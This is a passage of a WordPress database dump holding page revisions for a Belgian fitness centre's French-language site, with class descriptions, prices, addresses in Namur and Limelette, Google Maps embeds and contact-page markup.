class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:30:41', '2013-11-03 09:30:41', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(415, 1, '2013-11-03 09:32:35', '2013-11-03 09:32:35', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;\r\nChoix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:32:35', '2013-11-03 09:32:35', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(416, 1, '2013-11-03 09:33:11', '2013-11-03 09:33:11', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:33:11', '2013-11-03 09:33:11', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(417, 1, '2013-11-03 09:33:37', '2013-11-03 09:33:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:33:37', '2013-11-03 09:33:37', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(418, 1, '2013-11-03 09:34:41', '2013-11-03 09:34:41', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact - Namur', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-03 09:34:41', '2013-11-03 09:34:41', '', 9, 'http://www2.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(419, 1, '2013-11-03 09:35:16', '2013-11-03 09:35:16', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact - Limelette', '', 'trash', 'closed', 'open', '', 'contact-limelette', '', '', '2013-11-03 10:19:11', '2013-11-03 10:19:11', '', 0, 'http://www2.crosstrainingcenter.be/?page_id=419', 0, 'page', '', 0),
(420, 1, '2013-11-03 09:35:16', '2013-11-03 09:35:16', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact - Limelette', '', 'inherit', 'open', 'open', '', '419-revision-v1', '', '', '2013-11-03 09:35:16', '2013-11-03 09:35:16', '', 419, 'http://www2.crosstrainingcenter.be/419-revision-v1/', 0, 'revision', '', 0),
(421, 1, '2013-11-03 09:35:43', '2013-11-03 09:35:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'publish', 'closed', 'open', '', 'contact-2', '', '', '2013-11-03 10:24:40', '2013-11-03 10:24:40', '', 0, 'http://www2.crosstrainingcenter.be/?page_id=421', 0, 'page', '', 0),
(422, 1, '2013-11-03 09:35:43', '2013-11-03 09:35:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 09:35:43', '2013-11-03 09:35:43', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
(424, 1, '2013-11-03 09:49:00', '2013-11-03 09:49:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\nLimelette :\r\n\r\n\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\nNamur :\r\n&lt;iframe width=\&quot;300\&quot; height=\&quot;300\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; marginheight=\&quot;0\&quot; marginwidth=\&quot;0\&quot; src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot;&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;/small&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '421-revision-v1', '', '', '2013-11-03 09:49:00', '2013-11-03 09:49:00', '', 421, 'http://www2.crosstrainingcenter.be/421-revision-v1/', 0, 'revision', '', 0),
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(426, 1, '2013-11-03 09:53:18', '2013-11-03 09:53:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;Limelette :&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;Namur :\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;table 